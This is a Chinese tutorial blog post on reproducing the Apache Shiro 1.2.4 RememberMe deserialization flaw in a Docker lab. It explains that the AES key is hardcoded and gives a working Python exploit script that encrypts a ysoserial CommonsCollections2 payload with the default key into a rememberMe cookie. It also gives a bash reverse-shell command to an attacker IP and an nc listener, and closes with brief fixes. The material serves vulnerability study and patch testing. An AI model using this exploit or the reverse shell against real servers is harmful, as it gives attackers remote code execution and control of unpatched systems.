shiro RememeberMe 1.2.4反序列化漏洞

shiro简介:

shiro(Java安全框架):apache shiro 是一个强大且易用的java安全框架框架,执行身份验证 、授权、密码和会话管理。使用shiro的易于理解的API,可以快速、轻松的获得任何应用程序,从最小的的移动应用程序到最大的网络和企业应用程序。apache shiro在java的权限及安全验证框架中占有重要的一席之地,在它编号为550的issue中爆出过严重的java反序列化漏洞。下面我来教大家复现这个漏洞。

漏洞描述:

官方issues通告:shiro的issues

产生漏洞的原因:

shiro对rememeberme的cookie做了加密处理,shiro在cookieremembermeManaer类中将cookie中的rememberme字段内容分别进行序列化,aes加密,base64编码操作,在识别身份的时候,需要对cookie里的rememberme字段解密,根据加密的顺序,不难指导解密的顺序为:

  1. 获取rememberme cookie
  2. base64 decode
  3. 解密aes
  4. 反序列化

但是,其中aes加密的密钥key被硬编码在代码里,意味着每个人通过源代码都能拿到aes加密的密钥,因此,攻击者构造一个恶意的对象,并且将其序列化,aes加密,base64编码后,作为cookie的rememberme字段发送,shiro将rememberme进行解密并且反序列化,最终造成了反序列化漏洞。

漏洞复现:

目前有两个复现方式:

1:从GitHub上获取apahce shiro存在漏洞的源代码:

2:使用docker镜像复现

使用docker镜像复现漏洞:

获取docker镜像:

docker pull medicean/vulapps:s_shiro_1

docker run -d -p youport:8080 medicean/vulapps:s_shiro_1

安装ysoserial的jar文件:

git clone https://github.com/frohoff/ysoserial.git *作者更新了,下载的jar包的版本号可能不一样,以下的命令请注意版本号的修改*
cd ysoserial
mvn package -DskipTests cp ysoserial-0.0.5-SNAPSHOT-all.jar /tmp 

注意:kali不自带mvn命令,需要自己下载:linux下载mvn命令

然后访问ip地址+youport 环境搭建成功

然后我们开始抓包:

点击account page页面进去后是要求你登录,你选择页面上提示的账号密码登录,记得登录时勾选下方的rememeber选项。店家抓包。

第一个包放过,选择接受返回包,然后将这个页面的数据发送到repter里面

我们的主要目标就是这个里面的cookie里的rememeber参数

poc准备:

*注意ysoserial的版本号,下载的什么版本填什么版本*

下列poc代码复制到本地命名为:shiro_poc.py

# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("/tmp/payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

python3执行该脚本:

使用方式:python3 shiro_poc.py "你的命令"

举例:python3 shiro_poc.py "bash -i >& /dev/tcp you ip/port 0>&1"

然后我们会在执行脚本的目录下发现payload.cookie文件,查看文件复制其中的cookie值到之前抓包的数据包内替换其cookie值。

本地开启nc监听:

nc -lvvp port

反弹shell

 

 

修复方案:

1、升级shiro版本

2、修改文件中硬编码的密钥

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值